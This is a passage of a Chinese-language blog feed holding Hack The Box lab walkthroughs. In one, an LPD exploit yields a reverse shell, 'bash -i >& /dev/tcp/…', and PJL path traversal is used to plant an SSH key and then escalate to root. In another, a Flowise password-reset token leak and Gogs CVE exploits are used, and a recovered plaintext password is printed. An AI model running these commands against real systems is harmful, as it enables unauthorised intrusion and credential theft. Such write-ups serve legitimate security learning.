src="https://www.notion.so/image/attachment%3A939b6383-6228-4854-bafb-b40e7750b724%3Aimage.png?table=block&amp;id=3adb233d-8731-80bf-b10c-cc905def8054&amp;t=3adb233d-8731-80bf-b10c-cc905def8054" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3adb233d8731801abcd1e2551d6cc061">去谷歌搜索rfc 1179 exploit得到exp利用脚本</div><div class="notion-text notion-block-3adb233d8731809a94fbdb8c8f82ac55">打开本地监听<code class="notion-inline-code">nc -l 4444</code> </div><div class="notion-text notion-block-3adb233d8731803b94ddf5e9bee24923">然后运行poc<code class="notion-inline-code">python </code><code class="notion-inline-code"><a class="notion-link" href="http://poc.py/" target="_blank" rel="noopener noreferrer">poc.py</a></code><code class="notion-inline-code"> 10.129.248.117 -q archive_intake -c &#x27;bash -c &quot;bash -i &gt;&amp; /dev/tcp/10.10.16.75/4444 0&gt;&amp;1&quot;&#x27;</code></div><div class="notion-text notion-block-3adb233d873180c0933dd3ba5a2271d2">最后成功反弹shell</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3adb233d873180b887acfbf49ca1de0c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ac1329819-f0d2-4ea4-8906-566acef329e3%3Aimage.png?table=block&amp;id=3adb233d-8731-80b8-87ac-fbf49ca1de0c&amp;t=3adb233d-8731-80b8-87ac-fbf49ca1de0c" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3adb233d873180cb96f1dacbf50d85de">但是目前的用户是lp无法获得user flag</div><div class="notion-text notion-block-3adb233d873180189454c94be3e5f1b9">查看进程<code class="notion-inline-code">ps -ef | grep python</code> 查看监听的端口<code class="notion-inline-code">netstat -tlnp</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3adb233d87318007a134d1ce6677c13f"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ad327b7af-2e40-4539-a909-3a2b5f34685a%3Aimage.png?table=block&amp;id=3adb233d-8731-8007-a134-d1ce6677c13f&amp;t=3adb233d-8731-8007-a134-d1ce6677c13f" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3adb233d87318039ae66f73ec873ae02">发现了本地的可疑的9100端口,应该是pjl服务</div><div class="notion-text notion-block-3aeb233d873180e9aaefdf09f6ca1e75">先列举用户</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3aeb233d873180e8a3dbfe34101a9aad"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Afa0d695b-4ec3-4eac-a1eb-7c661ba2de05%3Aimage.png?table=block&amp;id=3aeb233d-8731-80e8-a3db-fe34101a9aad&amp;t=3aeb233d-8731-80e8-a3db-fe34101a9aad" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3aeb233d8731800bbde8e57b6c6a1474">看到有archivist用户，想着用pjl的任意文件上传上传ssh_key然后登陆</div><div class="notion-text notion-block-3aeb233d873180799fc6f9151b95a62f">先用chisel吧内网的9100端口代理出来使得攻击机能够访问</div><div class="notion-text notion-block-3aeb233d873180ada89acd80eedeeaff">攻击机<code class="notion-inline-code">chisel server --reverse --port 1334 </code></div><div class="notion-text notion-block-3aeb233d873180548845d27c2551f916">靶机<code class="notion-inline-code">./chisel client 10.10.16.75:1334 R:19100:127.0.0.1:9100</code> </div><div class="notion-text notion-block-3aeb233d8731807493eae93247819847">先用pjl服务进行任意读取，读取9100端口的jetdirect.py，exp如下</div><div class="notion-text notion-block-3aeb233d873180bcb988fe1b1501a444">读取出来相应的pjl服务的代码</div><div class="notion-text notion-block-3aeb233d873180338212e86554855942"><code class="notion-inline-code">python3 pjl_read.py 127.0.0.1 19100 &#x27;0:/../../../../home/archivist/printer/jetdirect.py</code></div><div class="notion-text notion-block-3aeb233d873180e0b77de9fce94de5fb">然后根据pjl的服务代码编写pjl任意文件写入的exp</div><div class="notion-text notion-block-3aeb233d87318073a4b5d920584f91aa">创建ssh密钥对</div><div class="notion-text notion-block-3aeb233d8731800dac6fd497b7d2422a"><code class="notion-inline-code">ssh-keygen -t ed25519 -f ./archivist_lab -N &#x27;&#x27; -C &#x27;lab-access’</code></div><div class="notion-text notion-block-3aeb233d87318089a367f478be227ec3">上传公钥</div><div class="notion-text notion-block-3aeb233d87318081af55edb40d0c25cf"><code class="notion-inline-code">python3 pjl_write.py 127.0.0.1 19100 archivist_lab.pub &#x27;0:/../../../../home/archivist/.ssh/authorized_keys’</code></div><div class="notion-text notion-block-3aeb233d87318084a2e9da2f60f868b9">然后通过私钥登陆相应的用户</div><div class="notion-text notion-block-3aeb233d8731807b83b3c0f9d8cbfcb7">获得对应的用户flag</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3aeb233d8731809dac79c8981deae4d8"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:657.96875px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aeef5b164-c949-4144-8646-d5c5ace2e093%3Aimage.png?table=block&amp;id=3aeb233d-8731-809d-ac79-c8981deae4d8&amp;t=3aeb233d-8731-809d-ac79-c8981deae4d8" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3aeb233d87318058841ee49a48b71594">查看进程中另外一个可疑的文件<code class="notion-inline-code">/usr/bin/paperwork-daemon</code></div><div class="notion-text notion-block-3aeb233d873180f6a8c1dbafb33d075a">关键漏洞在这里：</div><div class="notion-text notion-block-3aeb233d873180139840ec11c4f66a7e">root 进程先打开了敏感文件。然后检测到恶意 PJL 命令后：</div><div class="notion-text notion-block-3aeb233d873180caaf68cdcfbfb5d3ed">它把 <code class="notion-inline-code">log_fd</code> 和 <code class="notion-inline-code">admin_fd</code> 通过 UNIX socket 发给你。你虽然不能直接读 <code class="notion-inline-code">/etc/paperwork/admin_pins.conf</code>，但是可以读它泄漏出来的 fd。</div><div class="notion-text notion-block-3aeb233d873180859df3e9a9cd670a13">先确认你是 <code class="notion-inline-code">archivist</code>：</div><div class="notion-text notion-block-3aeb233d873180e08978e39bc7a3f082">如果你还是 <code class="notion-inline-code">lp</code>，需要先用前面的 PJL 写 key 登录 <code class="notion-inline-code">archivist</code>。因为 socket 是：</div><div class="notion-text notion-block-3aeb233d873180679fd5cc33ba2b56eb">也就是 root 用户、GID 1000 可访问。<code class="notion-inline-code">archivist</code> 的 gid 正好是 1000。</div><div class="notion-text notion-block-3aeb233d873180ca8975f2b8ec52aa3c">然后确认 socket：</div><div class="notion-text notion-block-3aeb233d873180258f83ca428856b33f">应该类似：</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3aeb233d87318031b754e853dc0c8f33"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ac2757658-eccb-4bc0-8392-9751cd67f454%3Aimage.png?table=block&amp;id=3aeb233d-8731-8031-b754-e853dc0c8f33&amp;t=3aeb233d-8731-8031-b754-e853dc0c8f33" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3aeb233d87318065ba74ddde1a81605b">如果日志已经有你之前的 PJL 操作，比如 <code class="notion-inline-code">FSUPLOAD</code>，可以直接利用。如果不确定，再触发一次：</div><div class="notion-text notion-block-3aeb233d873180afa29ae97b34b5e23c">然后在靶机 <code class="notion-inline-code">archivist</code> shell 上写 exploit：</div><div class="notion-text notion-block-3aeb233d8731803c88bbf4632368d9a0">执行exp得到密码</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3aeb233d873180c6862dca0820ad8e0d"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A71a98881-5447-48fc-aa14-2f7a44ae640c%3Aimage.png?table=block&amp;id=3aeb233d-8731-80c6-862d-ca0820ad8e0d&amp;t=3aeb233d-8731-80c6-862d-ca0820ad8e0d" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3aeb233d8731809aaf33ceef0f7dea5b">执行<code class="notion-inline-code">su root</code> ，输入获得到的密码</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3aeb233d8731806897eddc3973b3ecc3"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:563.9921875px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ab81bb496-262d-41a1-ba83-f8538c9aa144%3Aimage.png?table=block&amp;id=3aeb233d-8731-8068-97ed-dc3973b3ecc3&amp;t=3aeb233d-8731-8068-97ed-dc3973b3ecc3" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3aeb233d87318017b140cd6c35f4de8a">提权成功拿取flag</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3aeb233d8731802e94caf0568e8cca4b"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:471.953125px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A9574b356-081d-495f-a47c-f3ea4cd65132%3Aimage.png?table=block&amp;id=3aeb233d-8731-802e-94ca-f0568e8cca4b&amp;t=3aeb233d-8731-802e-94ca-f0568e8cca4b" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3aeb233d873180839a37ce4d1e6a90f0"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Af0644b7a-9fcc-4a5e-9f46-7c30a3037901%3Aimage.png?table=block&amp;id=3aeb233d-8731-8083-9a37-ce4d1e6a90f0&amp;t=3aeb233d-8731-8083-9a37-ce4d1e6a90f0" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3aeb233d873180d1aee8dadf6da47cf0">关于PJL服务漏洞的参考资料：<a class="notion-link" href="https://www.tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution?utm_source=chatgpt.com" target="_blank" rel="noopener noreferrer">https://www.tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution?utm_source=chatgpt.com</a></div><div class="notion-blank notion-block-3afb233d873180349be0e31c2c649b67"> </div></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Silentium]]></title>
            <link>http://qetx.top/article/35bb233d-8731-8019-b3af-d2e43a965a80</link>
            <guid>http://qetx.top/article/35bb233d-8731-8019-b3af-d2e43a965a80</guid>
            <pubDate>Sat, 09 May 2026 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-35bb233d87318019b3afd2e43a965a80"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><div class="notion-text notion-block-35bb233d873180c995abd1dee274939b">先进行扫描</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d8731802cbb74faab7fd9c80a"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A7b0f58dd-1d26-4ca5-b57f-8e60280897f9%3Aimage.png?table=block&amp;id=35bb233d-8731-802c-bb74-faab7fd9c80a&amp;t=35bb233d-8731-802c-bb74-faab7fd9c80a" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d8731808386aae672d39f0c1d">得到开放了80端口，那就开始进行浏览器访问，它会重定向导致域名无法解析，我们要先将重定向的域名绑定到靶机的ip</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d873180c79135d55bddbf7847"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A88bdd2b9-ea64-477b-85bb-57d0b3c8c9f2%3Aimage.png?table=block&amp;id=35bb233d-8731-80c7-9135-d55bddbf7847&amp;t=35bb233d-8731-80c7-9135-d55bddbf7847" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d8731802ba744e9ff66f2b656">然后直接去访问</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d873180b6b1b4d52424269223"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A95aa17bf-d971-466f-9197-89203753de16%3Aimage.png?table=block&amp;id=35bb233d-8731-80b6-b1b4-d52424269223&amp;t=35bb233d-8731-80b6-b1b4-d52424269223" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d873180fe9214d2140416eb15">利用子域名爆破命令<code class="notion-inline-code">gobuster vhost -u &quot;</code><code class="notion-inline-code"><a class="notion-link" href="http://10.129.57.197/" target="_blank" rel="noopener noreferrer">http://10.129.57.197</a></code><code class="notion-inline-code">&quot; -w /Users/qin/Documents/渗透/Fuzz_dict/subdomains-top1million-20000.txt --append-domain --domain silentium.htb</code></div><div class="notion-text notion-block-35bb233d8731803a978df71a77257022">爆破出子域名</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d8731800c880ec2e3d8d78461"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A59146ee2-ab65-47d9-bc37-21d69adf717b%3Aimage.png?table=block&amp;id=35bb233d-8731-800c-880e-c2e3d8d78461&amp;t=35bb233d-8731-800c-880e-c2e3d8d78461" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d8731800999c5fb2ed86a70ce">同理，将子域名的解析加入host文件</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d873180bd8ecddfe59f3b26e3"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A8f23deb7-2967-4470-b167-0c1c333d81dc%3Aimage.png?table=block&amp;id=35bb233d-8731-80bd-8ecd-dfe59f3b26e3&amp;t=35bb233d-8731-80bd-8ecd-dfe59f3b26e3" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d873180d29b57d33325eda3ba">去浏览器访问</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d8731802f9cadc46573b198dd"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A03ae611c-cdc0-49ff-aca5-6bb0b1a9d924%3Aimage.png?table=block&amp;id=35bb233d-8731-802f-9cad-c46573b198dd&amp;t=35bb233d-8731-802f-9cad-c46573b198dd" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d8731809dbb55c600b15423b4">访问源代码发现框架是Flowise</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d873180159bfef82518a40cea"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A555005c4-9b62-47a5-912c-2ba79dc9faa5%3Aimage.png?table=block&amp;id=35bb233d-8731-8015-9bfe-f82518a40cea&amp;t=35bb233d-8731-8015-9bfe-f82518a40cea" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d8731802db4e0e03d7a28d3d3">直接进行登陆发现用户找不到</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d8731807c8e6ade47fabeabe6"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A8f4c3fab-82b2-4ac7-8173-4f65d37e3085%3Aimage.png?table=block&amp;id=35bb233d-8731-807c-8e6a-de47fabeabe6&amp;t=35bb233d-8731-807c-8e6a-de47fabeabe6" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d8731801b9eaffc76b603f59c">看到主页领导人姓名</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d8731803f9f9ff847b164ddd8"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ac2263b96-1722-44e1-948a-5a0aeddfe799%3Aimage.png?table=block&amp;id=35bb233d-8731-803f-9f9f-f847b164ddd8&amp;t=35bb233d-8731-803f-9f9f-f847b164ddd8" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d873180298cebf40b6732247c">猜测用户是<code class="notion-inline-code">ben@silentium.htb</code> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d873180bea002e5296b2e3882"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A90183b0a-ac04-49b8-b569-38a64cafbe6c%3Aimage.png?table=block&amp;id=35bb233d-8731-80be-a002-e5296b2e3882&amp;t=35bb233d-8731-80be-a002-e5296b2e3882" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d87318076a2ede9904ac57bd8">提示密码不对，所以应该是用户名对了，但是密码不知道，我们去试一下能不能进行重置密码的操作</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d87318081906dcdd574702a51"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A5da96373-9120-4274-b5e4-78b586d01273%3Aimage.png?table=block&amp;id=35bb233d-8731-8081-906d-cdd574702a51&amp;t=35bb233d-8731-8081-906d-cdd574702a51" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d87318085a1c9e715e80a2522">可以看到重置密码需要token，这个token是发给邮箱的，我们在忘记密码的界面填入邮箱抓包看看能不能token是否是在返回包里就有的</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d873180018162dd759ecaf29c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A9f03ca9c-2c7f-44a4-a956-e3459802ecc0%3Aimage.png?table=block&amp;id=35bb233d-8731-8001-8162-dd759ecaf29c&amp;t=35bb233d-8731-8001-8162-dd759ecaf29c" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d873180fc8f62c15e07e8e67e">填入用户的邮箱<code class="notion-inline-code">ben@silentium.htb</code> 抓包</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d873180ccaa0de5ef286be9ab"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Afe05102f-e4fb-430c-850e-00df26f90707%3Aimage.png?table=block&amp;id=35bb233d-8731-80cc-aa0d-e5ef286be9ab&amp;t=35bb233d-8731-80cc-aa0d-e5ef286be9ab" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d873180c59840cccc81f95a9e">看到了临时的token，我们用这个去重置密码试试</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d87318056ac05c88b31c585a1"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ad9c45cad-cc4d-48e5-a75b-1d6c6980c7fe%3Aimage.png?table=block&amp;id=35bb233d-8731-8056-ac05-c88b31c585a1&amp;t=35bb233d-8731-8056-ac05-c88b31c585a1" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d873180839fc8d474c1b524d1">我们用新的密码登陆</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d8731804fba93fa2e31333ea1"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Afc103df2-88a7-4319-b3d0-1d388dfc5a95%3Aimage.png?table=block&amp;id=35bb233d-8731-804f-ba93-fa2e31333ea1&amp;t=35bb233d-8731-804f-ba93-fa2e31333ea1" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d87318071a617c7df438ecc14">成功登陆</div><div class="notion-text notion-block-35bb233d873180bb8f1bd77eb303a9ab">找到了系统的cve：<a class="notion-link" href="https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p" target="_blank" rel="noopener noreferrer">https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p</a>
<a class="notion-link" href="https://github.com/AzureADTrent/CVE-2025-58434-59528.git" target="_blank" rel="noopener noreferrer">https://github.com/AzureADTrent/CVE-2025-58434-59528.git</a></div><div class="notion-text notion-block-35bb233d873180918124f150c083267c">根据cve去反弹shell</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d8731807daf06de061966a74a"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A6d4a2c52-5961-4f6f-b660-ca8d494a212c%3Aimage.png?table=block&amp;id=35bb233d-8731-807d-af06-de061966a74a&amp;t=35bb233d-8731-807d-af06-de061966a74a" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d8731809daa70f93ce84fa2e6">查看env得到好多密码</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d873180aa9aa5ffb5e212c0d0"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A709c4cfa-5502-48f3-bdb4-840e4afe439b%3Aimage.png?table=block&amp;id=35bb233d-8731-80aa-9aa5-ffb5e212c0d0&amp;t=35bb233d-8731-80aa-9aa5-ffb5e212c0d0" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d873180babe6afe149e7c5b99">用用户名<code class="notion-inline-code">ben</code> 和密码<code class="notion-inline-code">r04D!!_R4ge</code> 尝试ssh连接</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d873180818803cdcfe0697592"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ac3e74647-5c71-472e-9a25-c02001419911%3Aimage.png?table=block&amp;id=35bb233d-8731-8081-8803-cdcfe0697592&amp;t=35bb233d-8731-8081-8803-cdcfe0697592" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d873180da8ed6ea06569dd35b">查看到内网本地有3001端口开放</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d8731808785c1f0377d18ef3b"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Af888c2b8-1adb-4a7a-a3b5-a3c570e1343b%3Aimage.png?table=block&amp;id=35bb233d-8731-8087-85c1-f0377d18ef3b&amp;t=35bb233d-8731-8087-85c1-f0377d18ef3b" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d873180ca8a59f37754b4532e">用chisel代理到本地</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d87318090bf1ed8819a28d881"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A1e56d2f8-ab35-40f7-9397-5f99c461712b%3Aimage.png?table=block&amp;id=35bb233d-8731-8090-bf1e-d8819a28d881&amp;t=35bb233d-8731-8090-bf1e-d8819a28d881" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d873180c9902bc00726d21e6f">本地访问</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d873180b69fcdf34c342eb31e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A15c7b14a-37d5-49b7-a987-da244fdf63fa%3Aimage.png?table=block&amp;id=35bb233d-8731-80b6-9fcd-f34c342eb31e&amp;t=35bb233d-8731-80b6-9fcd-f34c342eb31e" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d8731802fb54cd583ef547dd2">找到相关的poc：<a class="notion-link" href="https://github.com/zAbuQasem/gogs-CVE-2025-8110" target="_blank" rel="noopener noreferrer">https://github.com/zAbuQasem/gogs-CVE-2025-8110</a></div><div class="notion-text notion-block-35bb233d87318079a112d0b30ab4dbc1">注意要提前注册，将用户名和密码写入脚本然后注释脚本的注册函数的执行</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d873180fe9d73de2268d1f992"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A82023a8a-b50c-462f-a551-00e0cca771a6%3Aimage.png?table=block&amp;id=35bb233d-8731-80fe-9d73-de2268d1f992&amp;t=35bb233d-8731-80fe-9d73-de2268d1f992" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35bb233d8731801d8665c472c2913ee9"><code class="notion-inline-code">python </code><code class="notion-inline-code"><a class="notion-link" href="http://cve-2025-8110.py/" target="_blank" rel="noopener noreferrer">CVE-2025-8110.py</a></code><code class="notion-inline-code"> -u </code><code class="notion-inline-code"><a class="notion-link" href="http://127.0.0.1:3001/" target="_blank" rel="noopener noreferrer">http://127.0.0.1:3001/</a></code><code class="notion-inline-code"> -lh xxx -lp 5555</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d87318076b5f1cd79b61e3f8a"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Af800a7ae-06e6-4a40-b3b7-f63b88df0709%3Aimage.png?table=block&amp;id=35bb233d-8731-8076-b5f1-cd79b61e3f8a&amp;t=35bb233d-8731-8076-b5f1-cd79b61e3f8a" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35bb233d87318015b961f6fc7192dcbd"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A9a007e01-895e-44ff-aba2-2cf13b6f2e7f%3Aimage.png?table=block&amp;id=35bb233d-8731-8015-b961-f6fc7192dcbd&amp;t=35bb233d-8731-8015-b961-f6fc7192dcbd" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-blank notion-block-35bb233d873180699091db1b1a330126"> </div></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Kobold]]></title>
            <link>http://qetx.top/article/35eb233d-8731-809e-889a-d1987f3a34c6</link>
            <guid>http://qetx.top/article/35eb233d-8731-809e-889a-d1987f3a34c6</guid>
            <pubDate>Tue, 12 May 2026 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-35eb233d8731809e889ad1987f3a34c6"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><div class="notion-text notion-block-35eb233d873180168447c9fadeca1e9d">靶机ip：<code class="notion-inline-code">10.129.245.50 10.129.35.81</code> </div><div class="notion-text notion-block-35eb233d873180b7875fe66226e5e7c3">本机ip：<code class="notion-inline-code">10.10.16.170</code></div><div class="notion-text notion-block-35eb233d87318032ae51d350f1cd3870">先用fscan扫描端口</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35eb233d873180abbe2ee12a45eb7877"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aeffa49f8-0d24-4738-bee2-65ee09364c9f%3Aimage.png?table=block&amp;id=35eb233d-8731-80ab-be2e-e12a45eb7877&amp;t=35eb233d-8731-80ab-be2e-e12a45eb7877" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35eb233d8731808b8d37ea69526d19f0">访问一下80端口</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35eb233d873180cdb88ae39d88c00de1"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" 